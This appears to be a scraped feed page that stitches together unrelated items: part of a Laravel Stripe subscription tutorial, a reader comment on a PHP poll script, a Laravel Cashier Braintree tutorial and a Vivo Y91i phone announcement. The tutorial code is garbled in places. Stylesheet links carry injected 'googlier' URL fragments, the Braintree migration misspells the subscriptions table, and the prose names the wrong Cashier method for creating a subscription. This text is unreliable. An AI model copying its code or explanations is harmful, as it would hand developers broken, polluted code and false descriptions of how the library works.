Then after login to your account, you will find a Test dashboard. Now, click on the Developers link on the left sidebar. In the submenu, you can find the API keys item. Click on that item, and you will be redirected to this page.   Here, you can find the Publishable Key or Stripe Key and Secret Key. You need to add these keys inside the .env file in our project. // .env STRIPE_KEY=your key here STRIPE_SECRET=your secret here Finally, you should configure your Stripe key in your services.php configuration file. You can retrieve your Stripe API keys from the Stripe control panel. // services.php 'stripe' => [ 'model' => App\User::class, 'key' => env('STRIPE_KEY'), 'secret' => env('STRIPE_SECRET'), ], Also, you need to add the Billable Trait inside the User.php model. // User.php use Laravel\Cashier\Billable; class User extends Authenticatable { use Billable; } Step 4: Create Plans on Stripe Dashboard You can create a plan through Laravel but that will take some time, and our motto is to accept the payment through stripe. So we will create the plans manually on Stripe Dashboard. First, go to the Billing >> Products link and right now, there are no products available. So we need to create two products. Here products mean plans. So we will create two plans. Basic Professional Create and assign the values same as we have assigned the values on the Plans table in our Laravel application. After creating two plans, your products look like this.   Step 5: Display Plans on Frontend First, define the routes for our application inside the routes >> web.php file. // web.php Route::group(['middleware' => 'auth'], function() { Route::get('/home', 'HomeController@index')->name('home'); Route::get('/plans', 'PlanController@index')->name('plans.index'); }); We have taken the auth middleware to protect the routes related to payment and home. Now, create the Plan.php model and PlanController.php file. php artisan make:model Plan php artisan make:controller PlanController Define the index method inside the PlanController. // PlanController.php use App\Plan; public function index() { $plans = Plan::all(); return view('plans.index', compact('plans')); } Now, inside the resources >> views folder, create one folder called plans and inside that folder, create one file called index.blade.php file. Write the following code. @extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-12"> <div class="card"> <div class="card-header">Plans</div> <div class="card-body"> <ul class="list-group"> @foreach($plans as $plan) <li class="list-group-item clearfix"> <div class="pull-left"> <h5>{{ $plan->name }}</h5> <h5>${{ number_format($plan->cost, 2) }} monthly</h5> <h5>{{ $plan->description }}</h5> <a href="" class="btn btn-outline-dark pull-right">Choose</a> </div> </li> @endforeach </ul> </div> </div> </div> </div> </div> @endsection Now, register one user on Laravel application and go to this URL: http://stripesub.test/plans You will find the plans like this.   Step 6: Show the plan So, when the user chooses the plan, we need to redirect the user to a particular plan page. Define one more route inside the routes >> web.php file. // web.php Route::group(['middleware' => 'auth'], function() { Route::get('/home', 'HomeController@index')->name('home'); Route::get('/plans', 'PlanController@index')->name('plans.index'); Route::get('/plan/{plan}', 'PlanController@show')->name('plans.show'); }); Now, by default, RouteModelBinding works with the ID of the model. But we will not pass the ID to show the particular plan instead we will pass the slug. So we need to define it inside the Plan.php model. <?php // Plan.php namespace App; use Illuminate\Database\Eloquent\Model; class Plan extends Model { protected $fillable = [ 'name', 'slug', 'stripe_plan', 'cost', 'description' ]; public function getRouteKeyName() { return 'slug'; } } Here, we have defined the function called getRouteKeyName. So based on this function, now we can fetch the record based on the slug and not based on the ID. That is why we have taken the slug field as a unique field in the database. Now, define the show() function inside the PlanController.php file. // PlanController.php public function show(Plan $plan, Request $request) { return view('plans.show', compact('plan')); } Next step is to create a view file called show.blade.php inside the resources >> views >> plans folder. Add the following code inside the show.blade.php file. @extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-12"> <div class="card"> <div class="card-header">{{ $plan->name }}</div> <div class="card-body"> </div> </div> </div> </div> </div> @endsection Now, we will display the Payment Form on this page. Step 7: Display the Payment Form For this example, I am using Card Element. You can find it on official Stripe Documentation. It is securely collect sensitive card details using Elements, our pre-built UI components.   Now, we need to include the External JS files in our project. For that, we need to modify the resources >> views >> layouts >> app.blade.php file. <!DOCTYPE html> <html lang="{{ str_replace('_', '-', app()->getLocale()) }}"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- CSRF Token --> <meta name="csrf-token" content="{{ csrf_token() }}"> <title>{{ config('app.name', 'Laravel') }}</title> <!-- Fonts --> <link rel="dns-prefetch" href="//fonts.gstatic.com"> <link href="https://fonts.googleapis.com/css?family=Nunito#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000" rel="stylesheet" type="text/css"> <!-- Styles --> <link href="{{ asset('css/app.css') }}#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000" rel="stylesheet"> </head> <body> <div id="app"> <nav class="navbar navbar-expand-md navbar-light navbar-laravel"> <div class="container"> <a class="navbar-brand" href="{{ url('/') }}"> {{ config('app.name', 'Laravel') }} </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="{{ __('Toggle navigation') }}"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <!-- Left Side Of Navbar --> <ul class="navbar-nav mr-auto"> </ul> <!-- Right Side Of Navbar --> <ul class="navbar-nav ml-auto"> <!-- Authentication Links --> @guest <li class="nav-item"> <a class="nav-link" href="{{ route('login') }}">{{ __('Login') }}</a> </li> <li class="nav-item"> @if (Route::has('register')) <a class="nav-link" href="{{ route('register') }}">{{ __('Register') }}</a> @endif </li> @else <li class="nav-item"> <a class="nav-link" href="{{ route('plans.index') }}">{{ __('Plans') }}</a> </li> <li class="nav-item dropdown"> <a id="navbarDropdown" class="nav-link dropdown-toggle" href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" v-pre> {{ Auth::user()->name }} <span class="caret"></span> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDropdown"> <a class="dropdown-item" href="{{ route('logout') }}" onclick="event.preventDefault(); document.getElementById('logout-form').submit();"> {{ __('Logout') }} </a> <form id="logout-form" action="{{ route('logout') }}" method="POST" style="display: none;"> @csrf </form> </div> </li> @endguest </ul> </div> </div> </nav> <main class="py-4"> @yield('content') </main> </div> <!-- Scripts --> <script src="{{ asset('js/app.js') }}"></script> @yield('scripts') </body> </html> Here, we have defined one navigation link called plans and also add one section for scripts. So, now we can add the Javascript per pagewise using @yield directive. Next step is to write the Card Element inside the show.blade.php file. @extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-12"> <div class=""> <p>You will be charged ${{ number_format($plan->cost, 2) }} for {{ $plan->name }} Plan</p> </div> <div class="card"> <form action="#" method="post" id="payment-form"> @csrf <div class="form-group"> <div class="card-header"> <label for="card-element"> Enter your credit card information </label> </div> <div class="card-body"> <div id="card-element"> <!-- A Stripe Element will be inserted here. --> </div> <!-- Used to display form errors. --> <div id="card-errors" role="alert"></div> <input type="hidden" name="plan" value="{{ $plan->id }}" /> </div> </div> <div class="card-footer"> <button class="btn btn-dark" type="submit">Pay</button> </div> </form> </div> </div> </div> </div> @endsection @section('scripts') <script src="https://js.stripe.com/v3/"></script> <script> // Create a Stripe client. var stripe = Stripe('{{ env("STRIPE_KEY") }}'); // Create an instance of Elements. var elements = stripe.elements(); // Custom styling can be passed to options when creating an Element. // (Note that this demo uses a wider set of styles than the guide below.) var style = { base: { color: '#32325d', lineHeight: '18px', fontFamily: '"Helvetica Neue", Helvetica, sans-serif', fontSmoothing: 'antialiased', fontSize: '16px', '::placeholder': { color: '#aab7c4' } }, invalid: { color: '#fa755a', iconColor: '#fa755a' } }; // Create an instance of the card Element. var card = elements.create('card', {style: style}); // Add an instance of the card Element into the `card-element` <div>. card.mount('#card-element'); // Handle real-time validation errors from the card Element. card.addEventListener('change', function(event) { var displayError = document.getElementById('card-errors'); if (event.error) { displayError.textContent = event.error.message; } else { displayError.textContent = ''; } }); // Handle form submission. var form = document.getElementById('payment-form'); form.addEventListener('submit', function(event) { event.preventDefault(); stripe.createToken(card).then(function(result) { if (result.error) { // Inform the user if there was an error. var errorElement = document.getElementById('card-errors'); errorElement.textContent = result.error.message; } else { // Send the token to your server. stripeTokenHandler(result.token); } }); }); // Submit the form with the token ID. function stripeTokenHandler(token) { // Insert the token ID into the form so it gets submitted to the server var form = document.getElementById('payment-form'); var hiddenInput = document.createElement('input'); hiddenInput.setAttribute('type', 'hidden'); hiddenInput.setAttribute('name', 'stripeToken'); hiddenInput.setAttribute('value', token.id); form.appendChild(hiddenInput); // Submit the form form.submit(); } </script> @endsection Here, we have used the Card element and Javascript to display the form. Now, add the link to this page inside the index.blade.php file. // index.blade.php <a href="{{ route('plans.show', $plan->slug) }}" class="btn btn-outline-dark pull-right">Choose</a> So, it will be redirected to the page like this.   So, here we need to enter the following details. You can enter the details like below inputs. Card Number: 4242 4242 4242 4242 Expiration Date: 10/21 or whatever you like from the future of today’s date CVC: whatever you like Zipcode: whatever you like These are dummy details, but these details generally used in sandbox account to check the application. Right now nothing will happen because we need to define the form action to store the data inside the database tables. So let us define the post route. Step 8: Save the subscriptions and accept payment Define the final route inside the web.php file. // web.php Route::group(['middleware' => 'auth'], function() { Route::get('/home', 'HomeController@index')->name('home'); Route::get('/plans', 'PlanController@index')->name('plans.index'); Route::get('/plan/{plan}', 'PlanController@show')->name('plans.show'); Route::post('/subscription', 'SubscriptionController@create')->name('subscription.create'); }); We have defined the POST route for subscriptions. Now, create SubscriptionController using the following command. php artisan make:controller SubscriptionController Now, add a POST route inside the show.blade.php file when we post the data to the server. // show.blade.php <form action="{{ route('subscription.create') }}" method="post" id="payment-form"> Inside that controller, we need to define one function called create(). <?php // SubscriptionController.php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Plan; class SubscriptionController extends Controller { public function create(Request $request, Plan $plan) { $plan = Plan::findOrFail($request->get('plan')); $request->user() ->newSubscription('main', $plan->stripe_plan) ->create($request->stripeToken); return redirect()->route('home')->with('success', 'Your plan subscribed successfully'); } } Here, we are creating the subscription for registered User and charge him. First, we have to fetch the plan according to the id. Then we need to pass that plan to the newSubscription() function and create a subscription. So, here we have used the Billable trait’s subscribedToPlan() method and pass the first parameter plan and the second parameter main. We are creating a new Subscription, if the payment made successfully then, it would redirect to the HomePage with a  success message. Write the following code inside the home.blade.php file. @extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-8"> @if(session()->get('success')) <div class="alert alert-success"> {{ session()->get('success') }} </div> @endif <div class="card"> <div class="card-header">Dashboard</div> <div class="card-body"> @if (session('status')) <div class="alert alert-success" role="alert"> {{ session('status') }} </div> @endif Welcome to the Dashboard </div> </div> </div> </div> </div> @endsection So, if your all of the configurations are right, then you should go to any of the plans and try to subscribe to the plan. If you are redirecting to the homepage, then you are almost done. You can see that one database entry inside the subscriptions table is there.   Your user’s table also has been updated as you can see some field’s details is updated. You can check the Stripe Dashboard as well. As we have subscribed the 50$ Professional Plan.   Step 9: Security Tweaks Now, we need to keep in mind one thing that if the user is already subscribed to one plan, then we need the user to prevent to choose that plan. So, we need to add one condition on the choose button. So, add the condition inside the index.blade.php file. @if(!auth()->user()->subscribedToPlan($plan->stripe_plan, 'main')) <a href="{{ route('plans.show', $plan->slug) }}" class="btn btn-outline-dark pull-right">Choose</a> @endif Also, we need to add the condition inside the PlanController.php file’s show() function. // PlanController.php public function show(Plan $plan, Request $request) { if($request->user()->subscribedToPlan($plan->stripe_plan, 'main')) { return redirect()->route('home')->with('success', 'You have already subscribed the plan'); } return view('plans.show', compact('plan')); } Also, we need to do the same thing inside the SubscriptionController’s create() method. // SubscriptionController.php public function create(Request $request, Plan $plan) { if($request->user()->subscribedToPlan($plan->stripe_plan, 'main')) { return redirect()->route('home')->with('success', 'You have already subscribed the plan'); } $plan = Plan::findOrFail($request->get('plan')); $request->user() ->newSubscription('main', $plan->stripe_plan) ->create($request->stripeToken); return redirect()->route('home')->with('success', 'Your plan subscribed successfully'); } Save the file, and now you are good to go. I am putting this Laravel Stripe Payment Gateway Integration Tutorial’s whole code on Github. Finally, Laravel Stripe Payment Gateway Integration Tutorial article is over. There are still so many things that we can do with the project. But for basic understanding, this is enough. Thanks. Github Code The post Laravel Stripe Payment Gateway Integration Tutorial With Example appeared first on AppDividend.
          Comment on Online Poll and Voting System with PHP and MySQL by arfan      Cache   Translate Page      
how to make the index show multiple question instead of single question ? I have made other polls subjects
          Laravel Cashier Braintree Payment Gateway Tutorial With Example      Cache   Translate Page      
In this tutorial, we will see Laravel Cashier Braintree Payment Gateway Tutorial With Example We will build a Subscription based Platform in which the user can choose a plan, and according to that, he will be charged. We use Braintree for this demo, and we will discuss the stripe in the next tutorial. So, we will build a simple payment gateway in which a user can charge according to their selected plan. It is a straightforward system to work with, and for that, we need to create a developer account at Braintree. So, if you have not created yet, then please go to this link. Laravel Cashier Braintree Payment Gateway Integrate payment gateway in any web application used to be a very tough task. But nowadays, there are lots of SDKs available to work with that is why it is effortless to integrate any payment gateway to any web application. Now, you can find the Official Laravel Documentation to integrate Braintree here. Braintree Caveats For many operations, the Stripe and Braintree implementations of the Cashier function is the same. Both services provide the subscription billing with the credit cards, but Braintree also supports the payments via PayPal. We will not use Paypal for this example. However, Braintree also lacks some features that are supported by the Stripe. You should keep the following things in mind when deciding to use Stripe or Braintree: Braintree supports PayPal while Stripe does not. Braintree does not support the increment and decrement methods on subscriptions. This is a Braintree limitation, not a Cashier limitation. Braintree does not support percentage based discounts. This is a Braintree limitation, not a Cashier limitation. Let us start this small project by installing the Laravel Framework. I am using Laravel 5.7 for this example. Step 1: Install and configure Laravel Install Laravel using the following command. laravel new subscription Now, go inside the project folder and configure the database inside the .env file. DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=subscription DB_USERNAME=root DB_PASSWORD=root Also, install the npm dependencies using the following command. npm install Compile the CSS and JS files. npm run dev Also, create the standard authentication using the following command. php artisan make:auth Step 2: Install and configure Braintree package Next step is to install the Laravel Cashier package. So let us install that. composer require "laravel/cashier-braintree":"~2.0" Next step is to register the Laravel\Cashier\CashierServiceProvider  service provider in your config/app.php configuration file. ... Laravel\Cashier\CashierServiceProvider::class, ... Now, we need to create and modify the database migrations. First, edit the create_users_table.php file and add the following fields inside the schema. Schema::table('users', function ($table) { $table->string('braintree_id')->nullable(); $table->string('paypal_email')->nullable(); $table->string('card_brand')->nullable(); $table->string('card_last_four')->nullable(); $table->timestamp('trial_ends_at')->nullable(); }); So, our final create_users_table.php file looks like below. <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateUsersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('users', function (Blueprint $table) { $table->increments('id'); $table->string('name'); $table->string('email')->unique(); $table->timestamp('email_verified_at')->nullable(); $table->string('password'); $table->string('braintree_id')->nullable(); $table->string('paypal_email')->nullable(); $table->string('card_brand')->nullable(); $table->string('card_last_four')->nullable(); $table->timestamp('trial_ends_at')->nullable(); $table->rememberToken(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('users'); } } Also, we need to create two more migrations file. To create the files, hit the following commands. php artisan make:migration create_plans_table php artisan make:migration create_subscriptions_table Now, write the following schemas inside it. <?php // create_subscriptions_table.php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateSubsriptionsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('subsriptions', function (Blueprint $table) { $table->increments('id'); $table->integer('user_id'); $table->string('name'); $table->string('braintree_id'); $table->string('braintree_plan'); $table->integer('quantity'); $table->timestamp('trial_ends_at')->nullable(); $table->timestamp('ends_at')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('subsriptions'); } } And the following is plans table schema. <?php // create_plans_table.php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePlansTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('plans', function (Blueprint $table) { $table->increments('id'); $table->string('name'); $table->string('slug')->unique(); $table->string('braintree_plan'); $table->float('cost'); $table->text('description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('plans'); } } Now go to the terminal and create the tables using the following command. php artisan migrate It will create the tables.   Now, add the Billable Trait inside the User.php model. // User.php use Laravel\Cashier\Billable; class User extends Authenticatable { use Billable; } Step 3: Grab and add API keys for Braintree Now, if you have not created a developer account at Braintree, then please create one. After that, you will be redirected to the Dashboard and then go to the Account >> My User and click the View Authorizations link under the API Keys, Tokenization Keys, Encryption Keys section.   After clicking the View Authorizations link, you will be redirected to your Sandbox API Keys page.   Now, you need to click the View links inside the table, and now you can see your following keys and data. Your Public Key Your Private Key Your Environment Your Merchant Id You need to add these keys inside your .env file. BRAINTREE_ENV=sandbox BRAINTREE_MERCHANT_ID=your merchant id BRAINTREE_PUBLIC_KEY=your public key BRAINTREE_PRIVATE_KEY=your private key Next step is that you should configure the following options inside your services.php file. // services.php 'braintree' => [ 'model' => App\User::class, 'environment' => env('BRAINTREE_ENV'), 'merchant_id' => env('BRAINTREE_MERCHANT_ID'), 'public_key' => env('BRAINTREE_PUBLIC_KEY'), 'private_key' => env('BRAINTREE_PRIVATE_KEY'), ], Then you should add the following Braintree SDK calls to your AppServiceProvider’s boot method. // AppServiceProvider.php use Braintree_Configuration; public function boot() { Braintree_Configuration::environment(env('BRAINTREE_ENV')); Braintree_Configuration::merchantId(env('BRAINTREE_MERCHANT_ID')); Braintree_Configuration::publicKey(env('BRAINTREE_PUBLIC_KEY')); Braintree_Configuration::privateKey(env('BRAINTREE_PRIVATE_KEY')); } You can also set the currency. Dollar($) is by default. You can change the default currency by calling the Cashier::useCurrency method from within the boot method of one of your service providers. In our case we have used the AppServiceProvider. The useCurrency method accepts two string parameters: the currency and the currency’s symbol. // AppServiceProvider.php use Laravel\Cashier\Cashier; Cashier::useCurrency('eur', '€'); Step 4: Create plans on Braintree dashboard Now, for this example, we will create only two plans. You can create as per your requirement. You can find the plans inside your dashboard on the left sidebar. I have created two plans. Basic Professional   Also, you need to add the plans manually inside the plans table inside MySQL.   Make sure both plans have the same names as on MySQL and Braintree dashboard. Step 5: Display plans on Frontend First, define the routes for our application inside the routes >> web.php file. // web.php Route::group(['middleware' => 'auth'], function() { Route::get('/home', 'HomeController@index')->name('home'); Route::get('/plans', 'PlanController@index')->name('plans.index'); }); We have taken the auth middleware to protect the routes related to payment and home. Now, create the Plan.php model and PlanController.php file. php artisan make:model Plan php artisan make:controller PlanController Define the index method inside the PlanController. // PlanController.php use App\Plan; public function index() { $plans = Plan::all(); return view('plans.index', compact('plans')); } Now, inside the resources >> views folder, create one folder called plans and inside that folder, create one file called index.blade.php file. Write the following code. @extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-12"> <div class="card"> <div class="card-header">Plans</div> <div class="card-body"> <ul class="list-group"> @foreach($plans as $plan) <li class="list-group-item clearfix"> <div class="pull-left"> <h5>{{ $plan->name }}</h5> <h5>${{ number_format($plan->cost, 2) }} monthly</h5> <h5>{{ $plan->description }}</h5> <a href="" class="btn btn-outline-dark pull-right">Choose</a> </div> </li> @endforeach </ul> </div> </div> </div> </div> </div> @endsection Save the file and navigate to the URL: http://subscription.test/plans. If you have not registered yet, then please register one user in our application. You will see something like this.   So, we have successfully displayed the plans from the database. Now, the next step is when a user chooses the plan, you will redirect to a page from where a user can be charged for that plan. Step 6: Show the plan So, when the user chooses the plan, we need to redirect the user to a particular plan page. Define one more route inside the routes >> web.php file. // web.php Route::group(['middleware' => 'auth'], function() { Route::get('/home', 'HomeController@index')->name('home'); Route::get('/plans', 'PlanController@index')->name('plans.index'); Route::get('/plan/{plan}', 'PlanController@show')->name('plans.show'); }); Now, by default, RouteModelBinding works with the ID of the model. But we will not pass the ID to show the particular plan instead we will pass the slug. So we need to define it inside the Plan.php model. Also, define the fillable fields as well. <?php // Plan.php namespace App; use Illuminate\Database\Eloquent\Model; class Plan extends Model { protected $fillable = [ 'name', 'slug', 'braintree_plan', 'cost', 'description' ]; public function getRouteKeyName() { return 'slug'; } } Here, we have defined the function called getRouteKeyName. So based on this function, now we can fetch the record based on the slug and not based on the ID. That is why we have taken the slug field as a unique field in the database. Now, define the show() function inside the PlanController.php file. // PlanController.php public function show(Plan $plan, Request $request) { return view('plans.show', compact('plan')); } Next step is to create a view file called show.blade.php inside the resources >> views >> plans folder. Add the following code inside the show.blade.php file. @extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-12"> <div class="card"> <div class="card-header">{{ $plan->name }}</div> <div class="card-body"> </div> </div> </div> </div> </div> @endsection So, here, we will display the payment form. Step 7: Display the Payment Form For displaying the Payment Form, we will use the Drop-in UI. You can find the complete documentation here. We are using Version 2 of the Drop-in UI. There is version 3 but let us stick with version 2 for this example. Now, we are implementing the Client Side configuration. Configure the container and from where the Drop-in UI will add the payment method nonce. Make sure to replace CLIENT_AUTHORIZATION with your generated client token. Now, we need to include the External JS files in our project. For that, we need to modify the resources >> views >> layouts >> app.blade.php file. <!DOCTYPE html> <html lang="{{ str_replace('_', '-', app()->getLocale()) }}"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- CSRF Token --> <meta name="csrf-token" content="{{ csrf_token() }}"> <title>{{ config('app.name', 'Laravel') }}</title> <!-- Fonts --> <link rel="dns-prefetch" href="//fonts.gstatic.com"> <link href="https://fonts.googleapis.com/css?family=Nunito#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000" rel="stylesheet" type="text/css"> <!-- Styles --> <link href="{{ asset('css/app.css') }}#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000" rel="stylesheet"> </head> <body> <div id="app"> <nav class="navbar navbar-expand-md navbar-light navbar-laravel"> <div class="container"> <a class="navbar-brand" href="{{ url('/') }}"> {{ config('app.name', 'Laravel') }} </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="{{ __('Toggle navigation') }}"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <!-- Left Side Of Navbar --> <ul class="navbar-nav mr-auto"> </ul> <!-- Right Side Of Navbar --> <ul class="navbar-nav ml-auto"> <!-- Authentication Links --> @guest <li class="nav-item"> <a class="nav-link" href="{{ route('login') }}">{{ __('Login') }}</a> </li> <li class="nav-item"> @if (Route::has('register')) <a class="nav-link" href="{{ route('register') }}">{{ __('Register') }}</a> @endif </li> @else <li class="nav-item"> <a class="nav-link" href="{{ route('plans.index') }}">{{ __('Plans') }}</a> </li> <li class="nav-item dropdown"> <a id="navbarDropdown" class="nav-link dropdown-toggle" href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" v-pre> {{ Auth::user()->name }} <span class="caret"></span> </a> <div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDropdown"> <a class="dropdown-item" href="{{ route('logout') }}" onclick="event.preventDefault(); document.getElementById('logout-form').submit();"> {{ __('Logout') }} </a> <form id="logout-form" action="{{ route('logout') }}" method="POST" style="display: none;"> @csrf </form> </div> </li> @endguest </ul> </div> </div> </nav> <main class="py-4"> @yield('content') </main> </div> <!-- Scripts --> <script src="{{ asset('js/app.js') }}"></script> @yield('scripts'); </body> </html> Here, we have defined one navigation link called plans and also add one section for scripts. So, now we can add the Javascript per pagewise using @yield directive. Also, we need to fetch the Client Token for authorization. So we will fetch that token from Backend using AJAX request. So, define one route inside the web.php file. // web.php Route::group(['middleware' => 'auth'], function() { Route::get('/home', 'HomeController@index')->name('home'); Route::get('/plans', 'PlanController@index')->name('plans.index'); Route::get('/plan/{plan}', 'PlanController@show')->name('plans.show'); Route::get('/braintree/token', 'BraintreeTokenController@index')->name('token'); }); Create a new Controller called BraintreeTokenController using the following command. php artisan make:controller BraintreeTokenController Write the following code inside the BraintreeTokenController.php file. <?php // BraintreeTokenController.php namespace App\Http\Controllers; use Illuminate\Http\Request; use Braintree_ClientToken; class BraintreeTokenController extends Controller { public function index() { return response()->json([ 'data' => [ 'token' => Braintree_ClientToken::generate() ] ]); } } The index() function returns the ClientToken to the Clientside JS file, and now we can authorize our Laravel application with the Braintree developer account. So, write the final code inside the show.blade.php file. @extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-12"> <div class="card"> <div class="card-header">{{ $plan->name }}</div> <div class="card-body"> <form method="post" action="{{ route('subscription.create') }}"> @csrf <div id="dropin-container"></div> <hr /> <input type="hidden" name="plan" value="{{ $plan->id }}" /> <button type="submit" class="btn btn-outline-dark d-none" id="payment-button">Pay</button> </form> </div> </div> </div> </div> </div> @endsection @section('scripts') <script src="https://js.braintreegateway.com/js/braintree-2.32.1.min.js"></script> <script> jQuery.ajax({ url: "{{ route('token') }}", }) .done(function(res) { braintree.setup(res.data.token, 'dropin', { container: 'dropin-container', onReady: function() { jQuery('#payment-button').removeClass('d-none') } }); }); </script> @endsection So, when the document is loaded, we will send an Ajax request to the Laravel server and get the Client Auth token. From that token, included js will generate the Payment Form. We defined the form like this. <form method="post" action=""> @csrf <div id="dropin-container"></div> <hr /> <input type="hidden" name="plan" value="{{ $plan->id }}" /> <button type="submit" class="btn btn-outline-dark d-none" id="payment-button">Pay</button> </form> Also, write the Javascript like this. @section('scripts') <script src="https://js.braintreegateway.com/js/braintree-2.32.1.min.js"></script> <script> jQuery.ajax({ url: "{{ route('token') }}", }) .done(function(res) { braintree.setup(res.data.token, 'dropin', { container: 'dropin-container', onReady: function() { jQuery('#payment-button').removeClass('d-none') } }); }); </script> @endsection So, when the request succeeds, it will return the token, and we use that token to create a Payment Form. The form looks like this.   So, here we need to enter the two details. You can enter the details like below inputs. Card Number: 4242 4242 4242 4242 Expiration Date: 10/21 or whatever you like These are dummy details, but these details generally used in sandbox account to check the application. Right now nothing will happen because we need to define the form action to store the data inside the database tables. So let us define the post route. Step 8: Save the plan details Define the final route inside the web.php file. <?php // web.php Route::get('/', function () { return view('welcome'); }); Auth::routes(); Route::group(['middleware' => 'auth'], function() { Route::get('/home', 'HomeController@index')->name('home'); Route::get('/plans', 'PlanController@index')->name('plans.index'); Route::get('/plan/{plan}', 'PlanController@show')->name('plans.show'); Route::get('/braintree/token', 'BraintreeTokenController@index')->name('token'); Route::post('/subscription', 'SubscriptionController@create')->name('subscription.create'); }); We have defined the post route for the subscription details. Now, create SubscriptionController using the following command. php artisan make:controller SubscriptionController Inside that controller, we need to define one function called create(). <?php // SubscriptionController.php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Plan; class SubscriptionController extends Controller { public function create(Request $request, Plan $plan) { $plan = Plan::findOrFail($request->get('plan')); $request->user() ->newSubscription('main', $plan->braintree_plan) ->create($request->payment_method_nonce); return redirect()->route('home')->with('success', 'Your plan subscribed successfully'); } } First, we have to fetch the plan according to the id. Then we need to pass that plan to the subscribedToPlan() function. So, here we have used the Billable trait’s subscribedToPlan() method and pass the first parameter plan and the second parameter main. We are creating a new Subscription, and if the payment made successfully then, it would redirect to the HomePage with a  success message. Write the following code inside the home.blade.php file. @extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-8"> @if(session()->get('success')) <div class="alert alert-success"> {{ session()->get('success') }} </div> @endif <div class="card"> <div class="card-header">Dashboard</div> <div class="card-body"> @if (session('status')) <div class="alert alert-success" role="alert"> {{ session('status') }} </div> @endif You are logged in! </div> </div> </div> </div> </div> @endsection So, if your all of the configurations are right, then you should go to any of the plans and try to subscribe to the plan. If you are redirecting to the homepage, then you are almost done.   You can see that one database entry inside the subscriptions table is there.   That means, we have successfully subscribed the Professional plan. Also, there is updation on the user’s table. We have already added some more fields. You can see inside your Dashboard that Sales and Transaction volume is there. So, our Laravel Cashier Braintree Payment Gateway Tutorial With Example is almost complete. Step 9: Security Tweaks Now, we need to keep in mind one thing that if the user is already subscribed to one plan, then we need the user to prevent to choose that plan. So, we need to add one condition on the choose button. So, add the condition inside the index.blade.php file. @if(!auth()->user()->subscribedToPlan($plan->braintree_plan, 'main')) <a href="{{ route('plans.show', $plan->slug) }}" class="btn btn-outline-dark pull-right">Choose</a> @endif Also, we need to add the condition inside the PlanController.php file’s show() function. // PlanController.php public function show(Plan $plan, Request $request) { if($request->user()->subscribedToPlan($plan->braintree_plan, 'main')) { return redirect()->route('home')->with('success', 'You have already subscribed the plan'); } return view('plans.show', compact('plan')); } Also, we need to do the same thing inside the SubscriptionController’s create() method. // SubscriptionController.php public function create(Request $request, Plan $plan) { if($request->user()->subscribedToPlan($plan->braintree_plan, 'main')) { return redirect()->route('home'); } $plan = Plan::findOrFail($request->get('plan')); $request->user() ->newSubscription('main', $plan->braintree_plan) ->create($request->payment_method_nonce); return redirect()->route('home')->with('success', 'Your plan subscribed successfully'); } Save the file, and now you are good to go. I am putting this Laravel Cashier Braintree Payment Gateway Tutorial’s whole code on Github. Finally, Laravel Cashier Braintree Payment Gateway Tutorial With Example article is over. There are still so many things that we can do with the project. But for basic understanding, this is enough. Thanks. Github Code   The post Laravel Cashier Braintree Payment Gateway Tutorial With Example appeared first on AppDividend.
          Vivo Y91i quietly announced in the Philippines      Cache   Translate Page      
Vivo Y91i has been quietly released by the company after its older brethren, Y95 and Y91. It's a mid-range smartphone with 6.22-inch Halo FullView display with 88% screen-to-body ratio, and 1.95-GHz octa-core CPU. What's even more appealing about this handset is that it is only priced at Php 8,499.

The Vivo Y91i 

 

The Vivo Y91i crunches a 4030 mAh battery making it one of Vivo's most reliable smartphones in the mid-tier category. It also sports a dual-camera module (13MP + 2MP) which is capable of Bokeh shots. In terms of the selfie game, the handset packs an 8MP front camera which, according to Vivo, captures more details and is backed-up with AI Algorithm that detects user's gender, age, skin tone and even lighting environment.

